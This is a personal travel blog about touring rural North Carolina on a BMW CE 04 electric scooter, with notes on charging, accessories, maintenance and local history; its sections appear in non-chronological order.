You can find chargers even in North Carolina's one-stoplight towns: Goldston to Star. The limited range of the CE 04 requires planning to locate them, but you can go a long way with ABRP (ABetterRoutePlanner) and PlugShare. ABRP does not know about the CE 04, but it's possible to simulate one by selecting the Zero SDS ZF 7.2 + PT and setting the reference consumption to 190 Wh/mi @ 65mph.

The weakest spot for touring on the BMW CE 04 is the seat. I am still looking for a seating position that is comfortable for more than 4 hours. For my pillion, it's uncomfortable after an hour. I may consider buying an Airhawk seat in the future.

Making the CE 04 mine

I've made a handful of changes to the bike to make it more comfortable:

• Wunderlich handguards: Increased protection and decreased heat loss from the heated handgrips when it's cold.
• Shad SH48 top case: to carry helmet & gear for a passenger.
• Skene lights: significantly improve visibility for the drivers around me
• 2x2 Cycles Moto Bicycle Carrier: to carry a bicycle on the back (warning: beware of clearance problems with the standard front-wheel mount to your turn signal indicator)
• Wunderlich Winter Muffs: to keep my fingers warm even when it's below freezing
• Helix Handlebar Bag – Velcroed to the space under the dash, holds my camera, first aid kit, and TeslaTap Mini.
• Reinforced turn signal indicators: (a tie wrap)

I've been happy with all of these so far. There are many CE 04 accessories available to the EU market that may never show up in the USA, such as the Wunderlich Rain Skirt.

Maintenance

Unsurprisingly, the maintenance requirements of the BMW CE 04 are minimal. There is no engine oil that needs changing, and with the regenerative motor braking, the brake pads are, for the most part, relegated to emergency stops. I am not a mechanic, but this is the rough maintenance schedule I am going by:

• 750 miles: Initial “break-in” service (final drive fluid change, belt tension check)
• Every 4500 miles: replace the front tire
• Every 6200 miles: replace the rear tire, final drive fluid change, belt tension check
• Every 20000 miles: replace the belt
• Every 50000 miles: replace brake pads
• Every 10000 miles: replace brake rotors
• Every 2 years: replace brake fluid

As with their gas-burning bikes, BMW wants you to stop by a dealer every 6000 miles for maintenance. IMHO, that's excessive for an electric vehicle, especially given that the mechanics in the USA are not trained to work on the CE 04. If you ever find yourself wanting to turn off the giant “MAINTENANCE DUE” pop-up on the console, it's quickly done with an ODB2 dongle and the MotoScan phone app.

One unexpected quirk about the CE 04 is that it burns through front tires more quickly than the rear, opposite of most two-wheeled vehicles and 4-wheeled EVs.

Room for Improvement

Roughly in priority order:

• A long-range version, like the BMW C-Evolution
• Support for DC charging (NACS) to broaden charger compatibility
• Automatic routing to chargers in navigation mode
• Touring-friendly seats
• Reinforced indicators

Conclusion

It isn't for everyone, but for me, the BMW CE 04 is a nearly perfect vehicle. It's great for errands, such as pizza pickups and school drop-offs, and fun outings, such as lunch with friends and exploring the countryside.

I'd buy the CE 04 again in a heartbeat. If BMW released a version with 20mi/30km more range, I'd buy it too.

If you want to know more, drop by the BMW Scooters Forum, where everyone is exceptionally friendly and helpful.

Wanting to get as much distance as possible before the evil day star becomes intolerable, I set my sights on breakfast in Salisbury, 54 miles away. That's about the maximum distance I'll ride anyways on rural highways before recharging the scooter: ABetterRoutePlanner says I'll arrive downtown with a 13% charge. The plan is to park & walk to breakfast: though apparently, the only breakfast option on a Sunday morning in Salisbury is Waffle House.

I decide to make an attempt to stretch the range out as far as I can this morning: this means easing the throttle, going just below the speed limit, pulling out when folks show up behind me, and coasting to a stop using the regenerative “engine” braking rather than applying the brakes. Thankfully, country roads are plenty quiet at 7am on a Sunday morning.

Much of this first leg is in the vicinity of Statesville, NC. The scene is ranch houses, monstrous industrial buildings, semi-truck trailers, small rural churches, and corn. This area is known for cheap land, power, and water, so it makes sense to see all the big-named companies with multiple entrances, but it still feels unlike anywhere else I've been on this trip.

Depressingly, I began to think about how the local population lives their lives as slaves to these giant faceless corporations: you spend your 40 hours a week in a giant box following orders from your company, then you visit the church on the weekend to get orders from someone else, go home to rest, and then you die. I realized that I had just summarized my own life and felt even more solemn after that.

I arrive at the first charger with 22% charge left – 9% more than I would have usually expected and worth about an extra 6 miles in range. It's good to know that I can dial up the efficiency if needed, which has led me to a new EV mantra of “Get low? Go slow”.

Salisbury, or more specifically Gateway Park, is the first place I've parked my bike where things felt sketchy enough to bring my things with me instead of just concealing the side bag. To the left of me were two people packing their belongings into a shopping cart, and to the right was someone sleeping in a bus shelter curled up against a Huffy bike from the 90s. Salisbury has fallen a long way since Andrew Jackson practiced law here.

Even at 8:30am, it's beginning to feel sticky outside. The food at the Waffle House is good but not great. I was not feeling the Salisbury vibe and questioned whether it was wise to leave my motorcycle jacket and airbag vest behind, so I cut my urban exploration short and headed out to find the Trading Ford.

The ford was an important part of the Great Trading Path that went up and down the coast: used by natives and colonists alike. In this area, the Yadkin was generally 1000-1500 feet wide, and this was the only point where it was possible to cross over by foot or horseback. Unfortunately, the location of the ford has since been dammed, and while you can kind of see where it once was from I-85, the closest access is blocked off by a power plant:

I also tried to get to the location of Sapona, a famous Native American town adjacent to the Trading Ford mentioned in John Lawson's explorations. Unfortunately, nothing structural remains of it, and the site is on private land. I doubt few of the locals even know that Sapona is hiding beyond these trees:

Apparently, there is still some disagreement from archeologists on which side of the river the town was on.

Lexington

Feeling dejected and unsuccessful in my day thus far, I continue up the route of the trading path from Salisbury through Spencer to Lexington. The vibe is destitute and derelict. This corridor feels filled with the people that society has left behind. It's not a surprise when I arrive in downtown Lexington and see the theme continue. Many prime real estate locations are closed, including this local Census center from 3 years ago.

Allegedly famous for its barbeque, Lexington was primarily a textile and furniture town until those duties were moved overseas. On a Sunday morning, Lexington feels mostly dead. A random guy cruising down the hill on his bike, a crazy lady wandering around screaming to herself, and a person with a maimed arm wandering aimlessly.

At some point, it's just too hot to walk around, so I find a shady bench to chill out at near the courthouse.

Surprisingly, there are no water fountains or open markets to buy water from, so I ride to a CVS on the way out to buy some water for the coming hike.

Caraway, Keyauwee: same word, different spelling

I head East toward Asheboro, hoping to find the site of the famous Keyauwee village. The site location is an unconfirmed well-kept secret among archaeologists, but it's apparently along Caraway Creek and allegedly on private land. I tried to use hints from the books I've read on the subject and Google Earth to make an educated guess. John Lawson's “A New Voyage to Carolina” (1704) described it:

Nature hath so fortified this Town, with Mountains, that were it a Seat of War, it might easily be made impregnable; having large Corn-Fields joining to their Cabins, and a Savanna near the Town, at the Foot of these Mountains, that is capable of keeping some hundred Heads of Cattle. And all this environed round with very high Mountains so that no hard Wind ever troubles these Inhabitants.

Intriguingly, Lawson also mentions that at the top of the nearby mountain is a “cave that 100 Men may fit very conveniently to dine in”. I recently saw that the Caraway Creek Preserve opened up just South of the area I had identified as an armchair historian, so I decided to visit to see if it lived up to the description.

Walking down to Caraway Creek, I imagined the sounds of a bustling native village. Craftspeople building things, food cooking over an open fire, kids playing with sticks and balls.

While this location was surrounded by the low mountains of the northern Uwharrie, it didn't match the description. I couldn't shake the idea that I was off by many miles. Once I got home and did further research, I'm pretty sure I was ~2 miles too far north and that the more likely location is just below Ridges Mountain. I'll take a closer look at a future trip.

Asheboro and home

I dropped by downtown Asheboro for a late lunch and a charge. Asheboro seems reinvigorated compared to the last time I was here 20+ years ago. The downtown lot has multiple free charging stations, art studios, and restaurants. It's clean, but you can still find plenty of old brick and grit.

It's 93'F outside, so I'm walking around with what's left of my Camelbak Chill bottle, keeping myself hydrated until I find an interesting-looking place to eat. I settle on Flying Pig Food & Spirits and am quickly disarmed by a hostess who declares that I cannot come in with a water bottle. We negotiate, and she holds the bottle hostage for me at her stand while I eat.

I ordered a Dr. Pepper, water, and a “Fish Dog”: fried mahi mahi in hot dog buns. It's weird but good. On the way out, I get the water in a to-go cup to refill my water bottle. I liked the place, but my interaction with the hostess made the entire visit feel awkward.

Leaving town, I pass over the Deep River by Cedar Falls and stop the bike as it just looks too gorgeous to pass up:

When I head down to the banks, a concerned father yells down to me, asking if I have any bandaids. His boy cut himself playing on the rocks. I'm glad to finally use the First Aid kit I keep handy, and even more glad that I didn't have to use it on myself.

On the country roads between Asheboro and Siler City lies miles and miles of tar snakes. It felt like I was riding through one of those suspension test tracks you see car prototypes go through.

At this point, I'm feeling done with the road. While I could just keep slogging away at these little rural roads, I'm tired, the sun is getting low, and the deer are coming out to play, so I decide to slab it home via Highway 64 & 15-501. To do so, I head to the one charger between here and Pittsboro for one last top-off: The Ford Dealership in Siler City.

It always feels awkward charging at a vehicle dealer, especially when it's not the manufacturer of your vehicle. This dealer is closed on Sundays, so it makes the experience much less weird. I add 15% to my tank, ride the last hour home, and call it a trip.

Trip Conclusion

623 miles, 3 days, 16 charging stops

On this trip, I've become very comfortable touring on the BMW CE-04 – even to the point where I've fallen in love with this surprisingly well-thought-out scooter. The only thing I can fault the scooter for is the lack of a comfortable seating position for multi-hour rides; that's the only thing my old R1150GS still gets points for.

Admittedly, the first time I rode the CE-04 a long distance, I was annoyed with all the charging stops, but I've since learned to appreciate all the forgotten small towns that topping up has taken me to. Whereas most gas stations are far from exciting walking locations, most charging stops are smack in the middle of downtown. Here is the final track for the trip:

With this trip, I finally lost my sense of range anxiety. I still charged far more often than I needed to — on average, every 37 miles the first day compared to every 45 the last day — I got less concerned about it over time. While I encountered no broken chargers on this trip, the occurrence is frequent enough that I'll continue to ensure I always have enough range to make it to an alternative.

I brought a lot of extra items for emergencies that never came to be: from the emergency electric jerrycan to the plethora of AC adapters, tire inflators, and other tools. Still, if I was to do it all over again, I'd do the same trip the same way.

Breakfast at the Carrier House Bed & Breakfast was incredible: a creamy parfait, a savory souflée, and excellent coffee. I regret not exploring Rutherfordton, as it's one of the oldest towns in North Carolina (1787). It was also named after a general who inflicted considerable damage on the nearby Cherokee tribes in the Cherokee–American wars.

Alas, the hills were calling my name.

Onward to Lake Lure!

The last time I rode a motorcycle through the mountains was in 2010, so I'm feeling a bit rusty as Polk County Line Road begins to twist before continuing to Grassy Knob Rd. It's a great feeling wandering amidst the country orchards. I spy an Ornate Box Turtle crossing the road at one point and use my bike to block its safe passage.

At the intersection of Highway 9 & Highway 64, the mythical Lake Lure comes into view. The scene of parts of Dirty Dancing, the lake itself, is relatively young, only coming into being in 1927. Some wiseguy developer imagined this would be an excellent site for a lake resort, so he founded Carolina Mountain Power Company, which went on to dam the Broad River and built a hydroelectric plan to power his resort town.

Lake Lure is incredibly picturesque. I didn't need to charge here, but there was a free charger at the visitor center, and I wanted to walk around and take photos.

Chimney Rock

Chimney Rock is part of the Hickory Nut Gorge, sacred to the Cherokee and Catawba Indians. They tell tales of this being the land of the Yunwi Tsunsdi', or small dwarf or fairy-like humanoids who live in the rock caves. They were the guardians of the sacred tsa'lu (tobacco) and took action against those who hoped to harvest it.

Chimney Rock overlooks the Gorge and Broad River and is a State Park. The road leading up to it is slow, windy, and picturesque.

To get to the top, you can take an elevator or stairs that wind through boulders and bat caves. There are many places for Yunwi Tsunsdi' to hide, so watch your step.

Heading across the Broad River from the park is a cute tourist trap of a town. I get questioned by walkers about the scooter, check out the river, and move on.

Old Fort

Now the roads are getting twistier, which gets me pumped for the adventure to come.

My next stop was Old Fort, where the visitor center has two free EV chargers: one J1772 and one Tesla (NACS). The J1772 charger was in use by another BMW, so I was glad to have the TeslaTap Mini adapter handy for the CE-04. The driver on the other charger was nice enough to come out to ask if I wanted to swap spaces with them, but it wasn't necessary.

Downtown was small but charming, with a brewpub that I wish I had been able to try. I wasn't hungry and have a strict rule about no alcohol on two wheels. I had a very uncomfortable time riding through Belgium once, where I stopped for what should have been a long lunch and got a beer, but we had to leave early.

There was a lovely outdoor museum with 18th-century buildings from the area and what seemed to be the world's most depressing craft market. Even under their shady tents, the craftspeople had wilted in the heat, and no one looked like they wanted to be there.

On the way out, I passed Davidson’s Fort, which the town was named after. I hadn't planned to stop by – due to its controversial existence – but I was at the entrance anyways, so I wandered in.

I peeked inside the fort and saw that it was occupied only by reenactment actors setting up, so I began to walk back to the bike. One of the leaders noticed me taking photos and encouraged me to come in and check things out.

I'm glad I did, as I got an excellent 20-minute overview of the fort's history. I'll spare you the details, but if you are interested, see the Wikipedia article on it – suffice to say, the fort has a particularly bloody history, including being the base from which Rutherfordton wiped out the towns of the Lower Cherokee.

I took the bizarre way out of Old Fort recommended by the Nav software “Windy” mode, hitting small country backroads such as Cane Creek Rd and Mackey Creek Rd toward Marion.

I'm glad I did because the roads were both picturesque and fun to ride:

Little Switzerland & Blue Ridge Parkway

Little Switzerland has been on my “to-ride” list for years. It's a little slice of twisty-road heaven an hour east of Asheville, where two famously twisty roads intersect with the Blue Ridge Parkway: Highway 226A and Highway 80. Riding up Highway 80, I was having the time of my life. Seriously, I haven't had this much fun in YEARS! I couldn't help but feel I was truly living my best life here. Even the Blue Ridge Parkway section made for sublime riding. While the BRP is not exceptionally technical riding, it makes up for it in natural beauty and flow.

Little Switzerland lacks a central area to walk around, but it does have several hotels, cafes, bookstores, and a handful of EV chargers. I chose to stop at the Little Switzerland Books & Beans, as my body and bike could use the energy boost.

Afterward, I had to pick between 226A (AKA the “Diamondback”), which, while world-famous for excellent riding, would return me to Marion, where I had just come from, and continuing the Blue Ridge Parkway through Linville Gorge, which would get me much closer to Morganton.

Wanting to get to Lenoir by dinner, I chose the latter. I have a small ounce of regret for missing out on 226A, but it gives me a good reason to return later.

Joara, Fort San Juan

One of the most important locations in North Carolina history lies off of an unmarked and unnamed gravel road off Hendersonville Rd, just north of Morganto: Joara.

This place does not have an address or sign and was so understated that I even turned around once, unsure if this was the correct place and fearful of trespassing onto a rabid gun-owner property.

Joara was a bustling Native American town and chiefdom from 1000 AD to ~1650 AD. It was visited by the Spanish in 1540, and in 1567 they made the first European settlement in North Carolina, Fort San Juan, at Joara's northern edge. Fort San Juan was also the first European settlement in the

Why have a fort so far inland? The Spanish were trying to find an overland route to the Spanish silver mines in the mountains of Mexico and figured that the Appalachians might be part of the same range. The early Spanish expeditions in America have a truly fascinating history, almost to the point of unbelievableness.

Morganton

My next step was Morganton, where at the back of one of Catawba Meadows Park parks is a replica Native American village, representing what a small section of a local village such as Joara might have looked like:

Unfortunately, I arrived just after the exhibit's closing time, so that's all there was except a sign talking about Joara. I headed downtown to top off my bike before heading North again. Morganton has a pretty courthouse if nothing else:

Lenoir and Hickory

Since I knew I would be in Morganton, I checked in on some old colleagues from Google who lived in Lenoir – the site of Google's North Carolina data center.

Lenoir has much more going on than when I first visited some 15 years ago. The fact that tonight was their annual Blackberry festival helped to make that impression, but even without it, I could tell things had changed for the better.

The lively festival was quickly dashed by torrential downpours, which thankfully coincided with getting dinner with my old friends.

This is Debby, Dave, and me:

We hung out for a while, and once it stopped raining, I quickly said my goodbyes and raced toward my hotel in Hickory before the second arm of the storm system could reach me. A few laws may have been broken, but I'm proud to say I made it to the hotel mostly dry.

Once I dropped my things off, I went to move my bike to the back of the hotel to charge overnight, and the skies just opened up. We're talking dime & nickel-sized raindrops.

Rain wouldn't have been a problem, except the charger was managed through Shell Recharge, which requires interacting with their poorly built and forgetful application. Have you ever tried to log in with your e-mail address and password in the pouring rain? How about taking a picture of a QR code in the dark when the lens is covered in water?

It took me about 10 minutes to get the stupid thing to begin charging. In comparison, other chargers are just tap+plug or just plug.

Having a fully charged bike will save me a good amount of time tomorrow morning, so the frustration was worth it.

My favorite personal fault is that when I commit to doing something, I do it regardless if it makes sense or not. Accordingly, I pressed the button to bring the BMW CE-04 to life as thunder reverberated across my recently adopted hometown of Chapel Hill, NC.

Today’s goals were the Town Creek Indian Site, lunch with a friend, and a quaint bed and breakfast in Rutherfordton, NC – some 200 miles direct – but the straightest routes in life are always the dullest.

Flashes & Floods

It is raining absolutely cats, dogs, and wombats. I'm glad I loaded the bike up the night before, even if it means I have to unload the rain jacket and rain pants as the thunder rumbles in the background. In the pitch-black rain, I head, nervous enough that I accidentally trigger ABS before making it out onto the main road. I'm a bit more careful as I wade through downtown Chapel Hill, the UNC campus, and onto 15-501.

As I pull onto the 4-lane highway south toward Pittsboro, the weather intensifies. Lightning is dancing around me in all directions, and the rain hits the road so hard that it splashes back upwards. Visibility is poor: without my brights on, I have difficulty seeing the lane markings, but due to oncoming traffic, they are off most of the time.

Doubts swirl through my head: is this insanity? Is the reason why lightning strikes rarely hit humans because most of them are smart enough to stay home when bolts are visible? Is 1.7mm of tire tread enough to avoid hydroplaning? I pull into a gas station for a moment – if only to put a pair of waterproof socks on.

If I hang out here for even 30 minutes, it will blow my schedule off course, so after a minute or two, I suck it up and hit the road again. I tell myself that as long as I can make it to my charging stop in Goldston, I can hide under a shelter there and delay for a while.

The strength of the storm pulses in and out. My watch is buzzing with notifications, but at this point, I'm not stopping for anything. Pittsboro is a blur. I turn off onto Highway 902 toward Goldston, glad that I had at least rehearsed this section earlier in the week so that I know that the road conditions are good. I'm thankful that the rain keeps the deer off the road at this hour.

Crossing over George's Creek, I suddenly hear a loud “whoosh” sound as my front wheel dives through a stream of water that I never saw. As the water smashes the underside of my bike, the sound reminds me of being inside a loud carwash. It hit so hard that my feet could feel the impact reverberate through the battery pack and the rubber footrest. My speed instantly drops from 40mph to 28mph before the “Throttle it out when in doubt” mantra hits, and I leave the overflowing creek behind me.

I'm so regretting my decision to nix purchasing an Insta360 because even in the dark, the crossing must have looked crazy. The rain begins to let up, but I keep things slow afterward anyways.

I stop off at the Goldston Library to charge: it's only 32 miles from home, but it's precisely on my route, and the next stop is just about at my 65-mile range limit for rural highways. I arrive with 52% – I only need a 5-minute charge to make it to my next stop, but I decided to try waiting out the rain. The library has no covered area, so I hid beneath a tree, and within 25 minutes, the storm finally ended.

Star: The Geographic Center of the Universe

With the rain halted, I tear out of the parking lot and notice the dawn coming up behind me. My mood improves.

I note that with the rain gone, the deer will come out soon to eat once they've dried off. I'm scared as hell of deer and take special notice whenever I pass through an area with a forest on one side of the road and a field on the other. If a deer can take out Mr. Safety, it can take me out too.

By the time I hit Highway 24 toward Biscoe, the roads have dried off, and I pick up the pace to make up for lost time. The increasing frequency of signs relating to pottery let me know that I'm not far from Seagrove, AKA the “Pottery Capital of the United States.” Some miles away from my destination of Star, NC, I get a little reminder of the cost of all that extra velocity.

There is that pernicious little formula that says: the energy required to overcome wind resistance is cubic to velocity. On a two-wheeled EV, even going 5mph over the speed limit has a noticeable impact on the range. Thankfully, my route pulls me off the highway at the next turn and puts me on slower backroads, so I arrive at the charger with 11% left.

I set my rain gear out to dry, set my stopwatch for 45 minutes and begin walking around in search of a bathroom, coffee, and breakfast. At 8 am on a Friday, I already know my best option is a convenience store/gas station a half-mile up the road. The town of Star is small but oozing with character: from the rail yard to the auto shop to the jail. It feels great to be exploring on foot for a change.

At the convenience store, an older gentleman is scratching off what appears to be an unlimited number of lottery tickets. A younger gentleman ahead of me grabs a coffee and lines his pockets with an innumerable amount of half & half containers. I hit the restroom, grabbed a shitty pre-manufactured pastry and a mediocre cup of coffee, and headed to the park across the street to enjoy them.

Heading to Town

From Star, I head south on Alt 220 through Biscoe and Candor (home of the NC Peach Festival) and eventually onto a 4-mile unpaved road named “Lovin Hill Rd.” There were one or two pucker moments as the road alternated between crushed stone, mud, and sand, but overall it was in good condition. I loved the experience and could not wait for it to end.

I was more mindful about my throttle this time and arrived at Town Creek with plenty of battery left. If I had been low on charge, my plan was to politely ask one of the rangers if I could use one of their external power outlets.

Town Creek is North Carolina's only state-run park focusing on its Native American heritage. The site was an active village built by people from the Pee Dee culture and occupied from 1150—1400 AD. The villagers abandoned it for unknown reasons before the Europeans landed in North Carolina in 1524. The going theory is that they moved west to the Catawba River.

I'm behind schedule, so I skip the movie, look at their surprisingly thin amount of artifacts, and head out the backdoor to the archeological site. They've reconstructed the palisades, a handful of buildings, and the mound. I was a little disappointed in the lack of artifacts shown, but it's definitely worth checking out if you are in the area.

A prehistoric quarry

Heading Northwest on 73 and 27, I cross over the great Pee Dee River. The river is over 1000ft wide at this point, which allows the Uwharrie Mountains to be visible behind them. The Yadkin River joins the Uwharrie north of here, and the river today has a series of dams and reservoirs that likely contribute to the width.

The Uwharrie Mountains are little known outside of North Carolina but are one of the oldest mountain ranges in the United States. They are at least 20 million years older than the Appalachians and once rose to some 20,000 feet before eroding to just over 1,100 feet. In recent history, the Uwharrie was a famous hideout for Civil War draft dodgers before Zebulon Vance ordered it cleared out.

The Uwharrie Mountains were also volcanically active, resulting in a lot of rhyolite – a social-rich volcanic rock that lends itself to prehistoric tool making. By the time 10,000 BC rolled around, Morrow Mountain, in particular, had been turned into one of America's oldest rock quarries. If you wanted a sharp arrowhead or spear, it's gotta be genuine Morrow Mountain Rhyolite. Tools made from this mountain were traded throughout the East Coast and have been found in archeological sites from Maine to Florida.

The roads through Morrow Mountain State Park are gorgeous, and my first taste of mountain twisties is on the BMW CE-04. Initially, I didn't feel I had precise control of it in the tight turns, but it felt great nonetheless.

Ablemarle: a weird place

Albemarle is a weird-feeling town – it feels far more significant than one would expect for a population of 15,000, with oodles of large government buildings. In retrospect, that makes a lot of sense, given that it is the county seat, albeit a small one. Albemarle is an old textile town with a surprisingly lovely-looking downtown area – but it was devoid of commercial activity, with only a single place open for lunch.

I'm an hour behind schedule, so I get lunch in Albemarle instead of Charlotte and charge up beside the police department and courthouse. On the way to eat, I dodge two police officers and a schizophrenic lady. I first overheard her yelling at the sky while unpacking the bike, so I carefully concealed the side bag with my jacket before walking away from the parking lot.

Fuck Charlotte

I was heading to Charlotte, NC, not because it made sense thematically but because I was meeting two old friends. I was running late, and I got my times a bit mixed up as I use two apps for trip planning:

• ABetterRoutePlanner (now owned by Rivian), which takes charging times into account and even recommends chargers along the route but does not know about the current state-of-charge

• BMW Motorrad Connected, the only app displayable on the scooter's massive 10” screen, gives time estimates but neglects to consider charging times or recommend charging stops.

While programming the route in both apps, I initially added a second charging stop in East Charlotte but later removed it from ABRP as it was unnecessary. The time estimate was for that charger rather than the Starbucks.

Once I realized my mistake, reaching the correct destination took me another 15 minutes. Once plugged in, I punched up Starbucks on Google Maps and began walking. It turned out to be the wrong Starbucks, as multiple of them existed at the same intersection. My friend was, in fact, at a 3rd Starbucks elsewhere. The heat was killing me, so I wasn't going anywhere, and I forced my friend to meet me wherever the fuck I actually was.

Hanging out with friends was great but it also forced me into Charlotte rush hour. Not commuting by anything but bicycle or a metro train for the last 13 years, I forgot that rush hour was a thing. The BMW Connected app helpfully routed me in front of Charlotte's largest stadium, where folks were lining up for a country music show. The traffic was traumatic in the heat, and a lack of clarification on when and where filtering was allowed had me join in with what the cars were doing. Not being a US citizen, I try my best not to challenge local conventions.

On the way out, I noted the Iswa Nature Preserve on the way out, named after the Catawba tribe of Native Americans who used to live along the nearby river.

Charming Cherryville

The Nav system recommended routing through Cherryville instead of riding through Shelby, so I rode up 274 to do so. The roads were lightly twisty with a light flow to them. As I was within a few hundred feet of a charger, I stopped by for a quick top-off as an insurance policy and an excuse to explore the town. In the parking lot, the welcome committee vehicle awaited me:

The town looked cute, but nothing seemed open, even on a Friday evening. I was in and out of there within 10 minutes.

Rutherfordton: the unpronounceable town

When the GPS announced the name “Rutherfordton”, it sounded like “Rufton,” so I asked a local. She said, “No, that's not it. It's Rufton”. It sounded the same to my ears, but perhaps some subtle garbled half-hearted syllables were added in for good measure. Regardless, Rutherfordton was where the Carrier House B&B was and my final destination for the day. I didn't arrive there until 7:50 pm.

I got to talk at length with the proprietors, who offered to let me park the CE-04 in their garage so that it could be charged overnight. They also pointed me to the Copper Penny Grill, which had a fantastic glazed salmon dish and a great beer selection.

After dinner, I fell asleep quickly. It'd been 14 hours since I had left my driveway, with 260 miles traveled. At least 4 hours were spent charging, but instead of waiting, I wandered around with a camera in hand.

Tomorrow the twisties await.